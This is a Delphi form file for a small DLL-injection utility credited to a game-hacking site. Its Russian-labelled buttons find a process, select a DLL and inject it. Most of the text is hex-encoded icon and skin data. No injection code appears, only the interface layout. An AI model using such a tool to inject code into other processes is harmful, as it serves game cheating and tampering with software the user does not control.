        FEFF2393FEFF2393FEFE2393FE22000000002393FE4B2393FEFE2393FEFF2393
        FED80000000000000000000000002393FE062393FEF42393FEFF2393FEFF2393
        FE292393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEDF2393FE322393FEFD2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEED2393FE352393FEFB2393FEFF2393FEFF2393
        FE7A0000000000000000000000002393FE162393FEFF2393FEFF2393FEF02393
        FE012393FED12393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFC2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEFF2393FEFF2393FEC22393
        FE020000000000000000000000002393FEA42393FEFF2393FEFF2393FE610000
        00002393FE922393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF12393FE060000
        000000000000000000002393FE032393FEFD2393FEFF2393FEFD2393FE192393
        FE272393FEFB2393FEFF2393FEFF2393FEFE2393FEEA2393FEE02393FEFE2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF62393FE07000000000000
        000000000000000000002393FEBD2393FEFF2393FEFF2393FEAB000000002393
        FEE72393FEFF2393FEFF2393FEF72393FE0400000000000000002393FE042393
        FEE02393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEF32393FEC10000000000000000000000000000
        0000000000002393FE312393FEFE2393FEFF2393FEF82393FE11000000002393
        FEFE2393FEFF2393FEFF2393FE0E000000000000000000000000000000002393
        FE072393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEBB2393FE712393
        FE642393FE652393FE5000000000000000000000000000000000000000000000
        00002393FE192393FEFA2393FEFF2393FEFF2393FE7D00000000000000002393
        FEFF2393FEFF2393FEED00000000000000000000000000000000000000000000
        00002393FEF82393FEFF2393FEFF2393FEFF2393FEFF2393FE52000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE192393FEF02393FEFF2393FEFF2393FEC90000000000000000000000002393
        FEFF2393FEFF2393FEFC00000000000000000000000000000000000000002393
        FE022393FEFC2393FEFF2393FEFF2393FEFF2393FEFF2393FE79000000000000
        00000000000000000000000000000000000000000000000000002393FE942393
        FEF92393FEFF2393FEFF2393FED42393FE060000000000000000000000002393
        FEFD2393FEFF2393FEFF2393FE97000000000000000000000000000000002393
        FE3C2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FE5A000000000000
        00000000000000000000000000002393FE062393FE682393FEF72393FEFF2393
        FEFF2393FEFF2393FE9C2393FE04000000000000000000000000000000002393
        FEA12393FEFF2393FEFF2393FEFF2393FEC62393FE2C2393FE1E2393FEBB2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEC32393FE952393
        FE812393FE842393FE7F2393FEAB2393FEFD2393FEFF2393FEFF2393FEFF2393
        FEF72393FE6F0000000000000000000000000000000000000000000000002393
        FE012393FED62393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEDD2393
        FE25000000000000000000000000000000000000000000000000000000000000
        00002393FE032393FED92393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFD2393FEB52393FEF62393FEFE2393FEFE2393FEFE2393FEFF2393
        FEFF2393FEFF2393FEFD2393FEFD2393FEFB2393FEB72393FE4A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        000000000000000000002393FEAD2393FEFE2393FEFF2393FEFF2393FEFF2393
        FEE92393FE0300000000000000002393FE242393FE1C2393FE682393FEEF2393
        FEF52393FEE72393FE272393FE262393FE160000000000000000000000000000
        000000000000000000000000000000000000000000000000000000000000FFC0
        01FFFF00007FFE00003FF803C01FF03FFC0FE07FFF07E0FC3F83C1F007C183C0
        01E1878000E0870000F00F0000700E0808700E1818380E1C3C380E1E3C380E1C
        3C38001C1C38000808700000007000000070800000E0000001E1060007C10F00
        1F831F81FF071F01FE070F01F00F0000003F0000007F800001FFE03007FF}
      OldCreateOrder = False
      Position = poDesktopCenter
      PixelsPerInch = 96
      TextHeight = 13
      object sButton2: TsButton
        Left = 8
        Top = 8
        Width = 105
        Height = 25
        Caption = #1053#1072#1081#1090#1080' '#1055#1088#1086#1094#1077#1089
        TabOrder = 0
        OnClick = sButton2Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sButton1: TsButton
        Left = 8
        Top = 40
        Width = 105
        Height = 25
        Caption = #1042#1099#1073#1088#1072#1090#1100' Dll....'
        TabOrder = 1
        OnClick = sButton1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object Button1: TsButton
        Left = 8
        Top = 72
        Width = 105
        Height = 25
        Caption = #1042#1085#1077#1076#1088#1080#1090#1100' DLL'
        TabOrder = 2
        OnClick = Button1Click
        SkinData.SkinSection = 'BUTTON'
      end
      object sEdit1: TsEdit
        Left = 119
        Top = 75
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 3
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit1: TsEdit
        Left = 119
        Top = 41
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 4
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object Edit2: TsEdit
        Left = 119
        Top = 9
        Width = 149
        Height = 21
        Color = clWhite
        Enabled = False
        Font.Charset = RUSSIAN_CHARSET
        Font.Color = clBlack
        Font.Height = -10
        Font.Name = 'MS Sans Serif'
        Font.Style = []
        ParentFont = False
        TabOrder = 5
        SkinData.SkinSection = 'EDIT'
        BoundLabel.Indent = 0
        BoundLabel.Font.Charset = DEFAULT_CHARSET
        BoundLabel.Font.Color = clWindowText
        BoundLabel.Font.Height = -11
        BoundLabel.Font.Name = 'MS Sans Serif'
        BoundLabel.Font.Style = []
        BoundLabel.Layout = sclLeft
        BoundLabel.MaxWidth = 0
        BoundLabel.UseSkinColor = True
      end
      object sStatusBar1: TsStatusBar
        Left = 0
        Top = 105
        Width = 277
        Height = 19
        Panels = <
          item
            Alignment = taCenter
            Text = '    By DenkA003 for GameHackClab.ru'
            Width = 50
          end>
        SkinData.SkinSection = 'STATUSBAR'
      end
      object OpenDialog1: TOpenDialog
        Filter = 'dll|*.dll'
        Left = 431
        Top = 7
      end
      object sSkinManager1: TsSkinManager
        ExtendedBorders = True
        InternalSkins = <
          item
            Name = 'Ubuntu (internal)'
            Shadow1Color = clBlack
            Shadow1Offset = 0
            Shadow1Transparency = 0
            Data = {
              41537A66050000000B0000004F7074696F6E732E646174A7300000789CDD1A5B
              6FB338F6BD52FFC3F607CCB7BE600C8A22952414500920422FDF8CE61B8D56A3
              DDA71D691EF6B1BF7DCFB1B101C721246DE7F650C7D0139FFBD5F9212BEB4D52
              16D543FDE3EDCD3E397469BB29BA7DD2ACF5C397CDBEB9BD794EDB435157EBE8
              0B21B737C95397D7EDFAF0CB6FFFFEE51FD9AFFFFDD77F7EFEEDD7FFDDDE6CEB
              125E5341E39851717B93D75DFF2A9452AA570F75D5BF83733675BB4B5BFDC843
              1A8741707BD36DCBF4A15B4701C013783EE4C9AE7EA1FD412CE48C89D0BEAE1F
              1E0E69B766F6C5A67C82C3F0ECD76D9E6E1FD3DDFA9E9058DC134A2358B8C485
              DDF37B45C0EB53E58291C080C11714D8619F94E51890062140CB187611C3EF51
              7B5ED6265F478701A6FE30F8CA709885D22785D29C04672AA836D915F5182112
              C5F03019E289D13DB36053CA10900803C8A80654108A2A4045184720DC717E4F
              15E5C5B6AEF2B46C1046A0A01477049738E8B943987D512108816F51112330A2
              9163906D591F527B8EB0E74C80AABADDDB8364640E8AB985C15392B2AECE1EB5
              4F5E674E3A0C54D300F9E6B1118E20231043B5060AB90132A80E23AA358CA006
              26641666423521B0508112A7B8B031498AEA5327656DD114FB24531451FCB230
              1640C2D0E8ECD024DB741DE0B62DB2BC5B87BD7DB9A61AD3DEC028B1027E06B7
              CF2AE587455737B8E9B69BBAEBEABDDEE3CB20A282736E7CF5A5D8753962D914
              8F69DAE44FE99AF6FCF4C6A31992D60023347B80E98AAE4CF35451C9D120D30A
              A24BEFBEDF318C3DAFFDBF59747B737BF3C3266921241DBAA44B0F88C58D2E9A
              2260F7F0B8FE86B2FE86DCC18EE18EE18E5077810FF8A3064193546939C1E29E
              0A5FA0B1841D871DA3B8A3418F0E14874BAC4E15786A860E099C3510D6E0634D
              8657BBA44BD6D53F1310459B54A0B936ADB65FD71403AA264689682026F046CB
              63CAC0C72D65C8F4B023EC1B90FA4D226513A444C566F7D503105A6569956C4A
              301D6A5E14A0A7A483E80FF2D15F9C90E5AA0579790223AA064EF831D4E4089B
              271C6B9BF04A225C84402D337CC7DD851B2D2C630432DF0BFE133FC9FA0E3F36
              5DF5A5A9B23B7A47EEF81DA025EED2C3EF93368390A2ED48391B84FE09C31306
              8F35EE8A5FBD5C463760DC151062B2011F3BE71D1005D031D05094F0C491634C
              BD63C8DC63BDEE8AE7020E9DE07534152BFDA083C431EE847115BD30BDB378BC
              AE90BEC26B2849D289630E021D6872DD4D9D30713811334E2559F5E5C58A462B
              BA1A1ECD6744BCAFD55BC7E407ECD368A903B0E6E001D2C405DA211CE5C2D16F
              05EA2988514C81BBB079ED64C95396CE46CC9970A20D44000A1A46B00B83B3E1
              336BEBA76662F6CCA7D0F7E1F1FA0920CF8BAA3B651EB6D874A41CD80C119EC9
              10A267719F564F4786782E945DE3F980AB81640F69B46BEBF20463C7392064D6
              DB02942DF1C6452B4C8FD11C27C033A62A987166A53F1ACDA334287E82A0F96E
              34B3E6D8B475D6A687433E93CE29552762D254095292F963CFC717636CAB18AA
              3B49E315C33842EC639FD1564CA8D7E6D17C0AEA7D8DEF0053D9427D66F29D54
              D68B31420A1B4AC7CBD870555FE049C39F9A950E5BB0DD120A199A4F909E2B3D
              3C618208557261AC885147829B2849229B4CA209CB03F6E7D3D84F73E9180A33
              06470394360F0CEA09115EFC6C86FBA5F84914F7FCABEA4EF36FB8D6B5E849FE
              D987F1CF03C37F285CD1C37FBDFC77954E8AD7D090955F9B5C51D0F7792422D8
              F470DC49DDC83A7492106BDFA80F7E8C0BAF43331F9D3866783795CC765701F6
              7A71E4A352D1A1A82448E04554AAB2E263C854C25464FA85A9EC4D93292F1526
              F48A1FA3F198198DC7B197486964A98ACBE5441E4AAC5DF3B9E255051DE56FB1
              30E187A85A4C8E76F6E833ECA8AE5D62D74E91312975D7EE10F43C4790440AB0
              EF51764EB5EF49EB8AAAD12373049D173A0F70A26026638071A0B249D3DD8256
              CE538D9E0D6F8A1311986416A9669ABA8B6DE8DE999706467E52D391BF003BC4
              C74ECF4D5974DDB80BE323A245144A26021FCDCBE505C73E1DCE8D5FE6EA52C6
              4CCDA68A6CE552930670DA0502CEAEAE4B17E31C860BCBD025851C8F38F48A2B
              C3E18A3255870DCF66138913FFE8CB364F99ADD8BBC095EC20E43AD363EEC2CD
              1868B11100E2EDE34423CBA3BA8E6CDB3CA9A0F2BFACE953FEA1BF6FE3A89AC7
              123347872CA6D2421F3E27506AC229B89E592BA8AED83EE675FBBD9AC66256A1
              3841C5F93850A5431D823CA76D3703B2586A2FE9C655F3D0FDFB2F41AEEC183D
              616A3195DB7ABFA92169FFE81FB4714C740CAD49F81B4AEE4D389A28CF0474F4
              761882A289251B5B2BBA0104C7480CCD046721940F7DDAB863B3039141D41E0A
              8CB82634B81D5738EDCF4CFBD63BB57D34DD1E0D7508189EFB4D1F0216C41B12
              85548611460FCE03C656B13461453FDB4D7FE630807B3E16982E5D5071429599
              43BFE0465C62C7374583D59047619E92E1487F43986E124C47D5FA0D1BD5371C
              D1E24EBE61A3FD46C95B3F24ADCB3C4DF4F4F07DD973D4EB3FFFE1BD3EF5F7FA
              D4DFEBFB5EF733C6EB7BFDBEB2C927D33FEE9F880D750215210FB83BDBB4800B
              A3D0752168ACA83B8843483ADE33DF71357907A797EEA2691F4F5CD5E378E89A
              EE8AEEC8B87410096D1091C3D08FF92289E7CADA7D1ECDFFB9F7160109995C23
              90C859C611CBC66335491DD7E6AA17023A31BB61D7464273CBFC97E330299B3C
              F910057D306D1393961E5978C4E57A8214038F2355FE5DF9DC27458583F1B9C6
              7574E533140EEF8ABD5C8880C7A3AA1BD2253D5185AB80EABBB1397191D3DFD8
              38F7AF6C7286FDE1C99280E9BF5F5D74397C4109E5BB594163D2577CAAE9D2D7
              C0C2EEA68391B68002ACC28B87CFBD01406BD9260D26004FA9E7BB9589DDC592
              EDD3DF403A76AF69996E7B54A7ECF3D2DA606955F9A9B701E79D24E2A110A11C
              AA583977DE898B7C12845148E42822842226411059554236DF9F709399CBD2B3
              05C5520F59623FDE7920FFD3A8B217A46EC1CEB4D77F3CB5138DB23804BF3F37
              FFB94C27208EA76657BF54FE9E745180F0F7A4B337AED07F4EC6D6AE25FBE850
              591C97714F3A2C6452675DA93AE2571DF1AB6ED6C7172456DB6E9A86D4F4A1B6
              41359BC17875E200F9FDF984F7BB06DCAB8437BAE877AFCA3EFDBABFC3C66C7C
              EDB5446DEAB611278934E0AEC68E7A8BAB6DDEDB49137F272DE73AE92BD5464F
              A88DAE6CB43077718E90686084C4422BA42303FFD861D598FFD1B06A2CC46138
              D533E719562D15986F58454F0CABE8B19D4F6DEE77F8518BC5EC5C9F7E3AEA5D
              9B6417FE70F5F29FBAF4139F4D91CDDE26FC8D7E63F97F3BAC77AE0B00000042
              746E487567652E626D7034DC0000789CED9D09409655DAF7CF38EF07B89B4B6A
              B9A7A20E9621E25A4AAC6EA5B956B8941B284259A28E9A228AD0F2A2A2802DA6
              18A25022A8A0936D16D6288A66E2D26A2EC0A480A6666F5FCD772DE79CFBDC0F
              38D5E4D33BF8713D0BCB03D773F3F37F2DE7DCE7DC3E30D4EB7341E6F95F4274
              828F6DFE24C47BF0F14FC28DBE5FE384100D6BF3E39F821F68FFFCE73F05DD5C
              E0D1081E7FFBA7D8BE6387D8F87AAA58FBD2CB62E8C69FC490D77E14435EFD1F
              31F8E51FC4E097AE8BC1C9DF8BE60B7F12CDE7FD289ACDB9249ACDBA2806ADBA
              2206AFB92A9A3EF5BD6836FB0771FBF4B3A269788918B4F23B3130FEB218F8E2
              2531083E360A3E266E0FBD2C1A3F7E0A5E879F0FBB229A4CF95A043D572E0297
              978AC0988B2228B654DC3EA55C341A7B5804447F2B02A2FE2102169788C0E80B
              2270E905317D6DA98858572E66AD2F17CFA4948BC6E32F88C6C1DF8ADB1EDA27
              1A0CD92B1A0CDC239A3C5E2A1A8E3820021695888005C5F0281201F38BC4D0E8
              123161C54511BEF6A278665DA9A8F7400EBC4F896834BA58D4F7DF2D1A3FFA0F
              D16854916810F8AEA8EF932DFCFF5A24FCE79D177E916785DFECB3C27FEE39F1
              C8F21211B2EA5BF1CCDA0BE299972F88A793E1BD879E1175FBBE211A3E7C5E34
              7CE8ACA8775F363CB68A3E338A85CFAC12D16BE2FBC277D637C2F7A96F84DF33
              6784DFD36784EF93A745D09C7F88A1F3BF1543E77C2306CEDC2766AD2911B5BB
              6F10B53D5F8363F85AD4F1DE028F4DA28ED74671DBA0D3A26E9F4C51B777BAA8
              DB2B4DDCF1D069D16EE437A2CB636784E7A47362C08C73C237E26BE11BF69508
              98552C8644168B814F7D2D462D3C2B0686BC2BA6C59D13B3128AC5AC9545A2FE
              80CF45FDFE9F89DAF7AC17B5BBAD13B5EF7E5534F0FF5234F0FD42D4E90EEF77
              EF4651C73345D4EEFAB268ECF78568DE2755B40BC814BE33CF8B0742E0D8A77F
              29063F05EF3961B7089AB44B3C157F5ED4EB7B52D4EB7D42D4EAF20A3CD68A5A
              9D9245FDFBE0DF79C049D172D017A2CBB02FC47D8F9F165E0F6E1501A167C4A0
              3060E65D28EAF68087D73151B363A2A8D9011E1DD7889AEDD7887ABD8E8B7A3D
              8F8B5AF0FD5AF0BD9EA33F178342BE1681E3B2855B9BD5C2AD6D82A873F727A2
              AEE7A7A26EB7A3A266DB6478C0EFDF058F76AB45AD76C9A2D65D49A256FB44D1
              D8EBA8A8EF9E28EEE803FAEBFA926837E098E834F0A468E5BD4E741EF0BA1834
              E52B31F0892F44E02399E2BEFE03C5A021A3C5C427C2C4D4905962795C82A8DD
              A940B8B55A2DEA74392CEA781C16355B278AFAF0B176DBD562C0D8532268FC67
              C2A34F8CE8E5BF52F88FCA1401A3B78A071E7A45048C7C4D0C1F9F2EC64DCF15
              A191EF8BDE03A68AB9CB8E88E793CF8AC8C5BB45CC8A0362DCE4E7C4C2A5F06F
              DA2649E4BE7D468C193B493CFBEC2271E1C2459197B74FFCFCF3CFE2C71F7F14
              57AF5E15A74F9F16C78E1D132FBCF0829833678E080B0B1393274F16C1C1C162
              F4E8D162D8B06162D0A041A25FBF7EC2DBDB5B787A7A8A7BEFBD5774EDDA5574
              EEDC59346DDA54FCF9CF7F167FBA8195BA165DF9E1A79FE01DFFB5FDFCD34F3F
              5C29772DB9919F1B59C96FF15FE45AFA5BFD97BA963BCDFF0597F21F7EC9AFE3
              DBFC50E472C1A9FECBFF53FC9796FDF0DB7C2BFBA1EC57FD2BFCE7FA77FB15FE
              4BCBFF4DEFF40EE5BFF80E55DB7FF1BFCB5EBF4359F12DECBFE4CAEFF38E76C5
              A58AFBBF71A9F9BDF0D97E28BB35FD1797FFC69C7F23FBB9FCA293FD571A0317
              8B9CEAFFE2E59BE31DED722580AAB8FF9BE9BEB237A8E2FE8B6FAAFB8A6F70D3
              FD17FFB1C75F7E73DD0B51EE64FF457FA8FFB29B94DA2CFBB9EC16F2EF72530A
              A3DD7E7071B27FA34F2971AEFF0B37A1ADAA6857748A2876B27F271DBF1EAF96
              39C3BD1065B788FF5227A813ED87D25BC3FF4DCFFDCACA6F09FFCEC2AFFE01AA
              BA7F27452F5AD92DE0FF82D3F0C33FC085AAEFDFC579EE8570A9FAFE9D96DDD0
              20C31539D37F91F38FDF89F204815679FF25377DE462DACF25A5CEF55FEAE4E3
              2F7575A67B215CABBA7FA7A60748104E4D0F90209CEDDF29433BCBAE5475FF4E
              4D6F90E0AABAFF9F9CEBFFA76AFFB7B67FE7BAAFB66AABB66AABB66AABB66AAB
              B66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66AABB66A
              ABB66AABB66AFB7D56D5D7E738DBBF5397C70AF18BD797A9F65FB5FD5775FD57
              FBFFDFF55FD5D7DF3ADB7F555FBFED6CFF4E5E9F5FE5F71754F5FD23CEF6EFEC
              FD47557D7F5355DFBFE674FF4EDDE054EEFCFD8FCEF65FD5F7CF3ADB7F55DF7F
              ED6CFF4EDFBFEFE664FF4E3C7EB75BE1FA0FCEF65FD5AF1FE2BC0A537E6B5C7F
              C6D9FE9D7EFD222765A03FECFA4BCEBE3E5515BDBE96750941275FDFCC39FE5D
              FE38FF55FDFA7B4EF77FF36BC01F7BFDC69B7FFC0ED7B7BCB9972FFDE3AF2F7A
              D38FDFF112BECEBE7E6C69D5BE3E6D95BFFEB0D3FD3BFDFAD555E8FAD8955EDF
              BBAA5FFFDCF9FEFFE4E2DCEBDB3BFBFAF94E3FFEAAFEFF2FFCA9D8CDB9FE7FEF
              FFAF51E4E4FFBFC3D9FE7FF9FF1FF94FFEFF5FFE33FC57F5FF3FC8F9FED97ECB
              FF6FF5DB3CB3FD86FF7FEA7FD17F8DCAECFFFE5B56A9AB5BD0FF8FFFB6FD7FE0
              FF7F7EA7DDE2FEAFFF6EBB95FD7F5F995D77F8E47AC5D7AFDBBEF9EBFD3BBA72
              7CE5BAE34F5DFF65FF95FBBCAE5EB96E39BDCE4FD677AFFFC2F1C36BD7E8B1EF
              D3ACAC435959DBB76767676F044B49D9B0710BDA6636FA7CC3869414782D3B7B
              FBF6ED59DBB33EDDF7FDF7FBAE91831BFABFF63DFFC0BE4F2323236747CE069B
              183C6EDCB8E0E0E0F1E327808D67C34FE13BC1F4DAC489F87391E8FF7BFEFD1B
              F9BFF6BDFC0BF67DBA6357C1CE9C1CB8E7E4A4A2BD9E9E9E9C9E9E9E91919C91
              019FE12DFD757A25E7F5D49C9C1DBB7628FFF0B8D1D15FC3BF6FDFB52F984EF6
              76B865239C2D6F2199356CABE547A4948288B209515656D6A75FECBB066CAFED
              ABFC1DAEE1ABF81E5F1C8B44537498CDF8F1436C3681BE198C8882091010FAE2
              1AD83E6454399D6BF806DFEFFBE2D31D053BD1D2249EF40CA2939C9C91047CE0
              037C929E8C9CD21110E081FB8E1D78FCDF1383CAFC5FBB7A8DECA383870EC21F
              8B7888CE861480835CECC68C48452CA26CFCA57DD7A455E25FDA47F1F31CE800
              074232D834FACE7894912614F962E447D2C9D57FE17F07D0D9B13377676E4E4E
              1AFCF99B000EA0412E4904083E2425E127F87932AB2867476A4E2A2022FF572B
              3BFEAB57AF5E81C747C718CF768CAD14A0C37088CE5AC356AF4546AB1951CA46
              25A1AC4FD1095A25FEAF92FFF8781B1D0907890CB59964848814210074EC2379
              A0373AFE4F0B0A403C993B77129DB44D18534C03B124252D49DA04373406944E
              8472529586CE577EFC57AE7C87F7F3070F129D2C8E2CA2B39AD92C86BB61F8F5
              5A42A4084138C2AF1E3C0F7ED097A37F7C832BE7E323E3593D2F4EB4E80C1E8C
              40060D1D641A33B208511A825F3DCF477A03FF053B0A0A327766E6E4E6E4329D
              64B4A48CB8B8B824B8C52525E94F50448808E2EC750AB31D0868C74770F4158E
              FF3BB2F3C70E827A0EA9BC9CA2E8AC25348BC096C14D1A7C632D23424296840E
              1EFBF8BBEF2E8337BBFFCBE49FC4837826CEC6A48C74249C418306DA4D324244
              E327601E0A96804E9C475F97EDFEE95B1F1FDB5190BF7367EEB6DCDCB4B4D44D
              6919E9184180640F71415BB264097D244C719B0010861EE5A1D49C5D44E818F9
              FFEEB2E9FFF2A5CB972F7F7C80F164716851649172900D725966187D0755B4DA
              20C4800E7D7C19CDE61FEDE3780B0F8867BCA203C24120FDFAF5EB0BD6079FE0
              73623467D0D0214C08D3D044E21319F9311EED2547FF973E06F1E41F01F540EA
              494D633A18547149124DF41269D14C8965440A4B4E97891A2504FE2FD98EFF12
              DADF0F1D3874087308A907F0283A241BB090654B972E0B095916021F96863024
              9011135212C2347DE8EFE4D0D17F3C07D76CC603B10578483A08A76F1F307AEA
              CD1FFAF4EDC72A2209C918A3341D195FB9FF1DF90599105C3B413C698807FFEC
              3D8A8DB46960F2D338B8ED918186B59F005112DAE1E0FF52F9A5F2F24B270F41
              F2915D0F641E16CFA2C5AC9BA54B81CAD2106DC067290342426B49421BA4820E
              659D2C077F97CA957FFCFC52F9C978997A264E1C2743CB80D31BEE86E1D71A11
              4419071929E8C5C8C89370BC60D6F1E3FB9D84CC5C9009E2C1E8DA44A1B587E0
              44C731976953A74D8D8D9D1A3B75EA54A4348D10A18C367190BD9E2AF1EC3A51
              4E44F4F11781FFA203B272A178DEE2CCC3910574403300250C6FF2FE5C08220B
              21468B290D6DC634CD2176E81B7468F1292A82AF141E508F8CADA1432D3A44A5
              4B1778D09D21F5958424A0791A10FA33FD23A082FC827C8507C483158BE8109C
              A95367804D970F30641485528A96519694C112A210FB865C4AF74565702B42ED
              1CD278403C32B40001C209631B01F711F84C984296729461AA5EBD668B05286B
              3FBA2CD3FE8B249ED99112CF04CC3C289E7E7D58385DC03CE0D6853FE92219C1
              ABFD181006D97806042176869C4AFF686728B8323311CF268C2DF89BE31229B2
              403704677A84BCC36DC68C88A933A662AC45838A9220538386242034F05F268F
              1F3F292B3B4578B0EDC1B2CE78583BA89B102433C234C41426112D62097112A2
              3276F854997E8332B4A253069EE0094A3C94767AF7FE0B42E96C33E2F4170AB4
              BE4468880DD029726AF92F3B85853D735B6E9AC443EA21EDB072222222C2E1A6
              9E2322A6464CC53B208AC630C34AA6921044D829F42EFDBB81FBFDB27239E281
              180A93709E1C311A6D143D33235411E6251963C0E7AD1448EEA8A0FD74D4FAF8
              F7DB824BE3E1C042E100118FAE641DF0C9A32B336211F55331660142FF6EEAF8
              DDCAF617309E9D69523D8988277A49EC540927227C64F848BCB38513240C3312
              11F05902ED50BA0EB15DFB118B1BFA77433B488D218E2936001E4A3D8807224B
              2A87C88CC2FBA85192D2088EB4102309C1B055256972CBFECBDCDCA874CD96EA
              81E09A0378A096031EA91DE4D201AC7DFB0E64C0A80B32030D61A2EEEB002872
              1E7A65FFF809241F00B42D97F0A4272741664E84D08A8D9D1141D2413063C982
              E0418822981044196721EA17011016B19DBBCEE2E197311E57D73387303763E5
              DA68AA87D20E4040206801A3027C0346C13D8029B1889E63428B17AF46401B36
              A2820E679D7145CFE8DFD5D5ED8C8C2E28EC947B30F5406C71E2E9DC19944368
              DA776483CF105357545517CED4FDB08E11202CF3E0EB0CB8757523FF6EAE67F2
              8FE453F2C1CA854D0F88276A4914A56382C36482A421A491630911A4EB694408
              B374068FEA713CBFEB8C1BFB7745FB1C838B7333562EC283050AF1A076984D40
              802F1B7C366A94424480300B51886DE614949DF5193966FF2E9FC5CBF98C7158
              D829B8FA515E663A9ACD5DF2C68C6C840010266928F3E382B10B32FDBB7E5640
              78766E4A4BC321050417E09986393914E8845B6CFCE06621424220AFA90C4856
              311AAEEEDEF5990B1E780D5717BC71ED423C29161ECACA400783CA3700A93CA0
              CCF7015FA5A2111462F0D332076DA622967D388B1CF3DD55753E907CEC783C30
              B03A209CF6C0C5308424358469A80F0302058DE7366876A4ABF40F37D7FC8202
              299F8C0CAA5CD14BA26267606CA176108E8F8F4F909F0FDCC082FC18128A289C
              8AD954CA41717BA0886564A08076EFDA759AFF00B4CF29F9E0A802BA66C2C375
              2B8CB58361E58B58FCB52123DF00096884AA63D84BAF517DE2E72EDA3EB7F040
              6E663C7DA9A6A378900EC3B9F3CE3BF1091ECCA8637B0F2DA13EAC2088306A83
              22679BFE513EDB72B771D7BC274EAA07C207230BF1F80501196F8403CFDE7007
              604C68E44800C40ADA8303326E836030C6FE4BF04E9D2147D716689A4D3C161D
              7FFFEE8631220A33945048085531CED1B20B2A71292961FFF1F16A4C3A610E26
              1F48CD7D39B6503C185740E44E9B75BC93008186BA769531D657010A1E371B73
              B43A7A9792FCCC23A89E4D987C20F724415D47F584129E3141CCC6DBDBBB877C
              787B077973A4A9209BCA0AE21494CA0A22E774A3490D900F259FD58487F9101E
              A0036CFCBB7B76F754A608F9FA521682141E82491A420C1BE9144A41874BF00D
              D05CECD105851D5333E1698F78EE926CEED076E71D779296504240880041151B
              3870B01161489F1E2E40279306ED19D417021E48CD319897C760DE41D178077A
              F7E8A1EEDEA820B87190458C841863404B9810F0D90D7CF80DC00E5167B87123
              9576920F8E26C228B602403BA81CA0D25399674F624484020890AAF330185BC3
              11969DCDBE4B4A4B4AB8B6078FB3A28B5373D70E1EEDB578004BF316CD1BB580
              A716884811C21893805040734840381B54A20DE4B38D1AE7746C0BA1ED89A2A6
              271C8B968F8FC6D3C3AB8797173E3323BF206F1F0B90CA414934A798FEB7DDBB
              F5E197F2B80B6B978187720FE2F1673C08C65DDE7A9A807C7596A63648D6B0ED
              DB4B4B4A4BD9BF6A7D26B07C2837131EA223E1B468DEBC7923B0168D1AC1672D
              EE302404803C8C1484356CE2BCC852F28D6F2293F3A6F474EA9A63513D907BC6
              8EA5D0A2C8022C60BDE88E909011869906C439282E490A08F8A0773639EEDA40
              C959271F2A5B9878A476241C77068488801BBC0E691A432C2C6C29E5684ED110
              60E0B884EEA5D4FA201FEE7C647475F530F0309CC6706F8C9010118B08014119
              E31C0D6DE22028F2D004418D2FD5962F5B1FEC9B13B16B5E0E751D826B0CD42C
              3F508E37D1E9D50BEE68C0A89704E407691A12F8C88891D369384663551ECAEF
              26D717F121E7C4A47C1619B999D232D22130EEADDCE53323220D0120CE4161B2
              C8AF5E0D0282F802DF17E90D2ECAECA3E543783CBA52E19274904D63C31A356A
              21358421D61EAA9887EE825840B32F5E54EF7044CA07F9209E9819D0F648F590
              78884EAF5E9DE88E0FF8BA8717808324E443591A1BA1A9D328C070565AF2C1B7
              003B84230B960FF6CD4B351E5F1B9E5660EE7C572AF2C418F35580A8862D5A2B
              6BFC456DC82798E4330792330D483BCBE8EA88785A683CF5EAD56B5C4F115280
              B88A75A1A1068CC460A4CA7C4AF9E82F5ECCCC4C93D9674F5C54340E2A4211CF
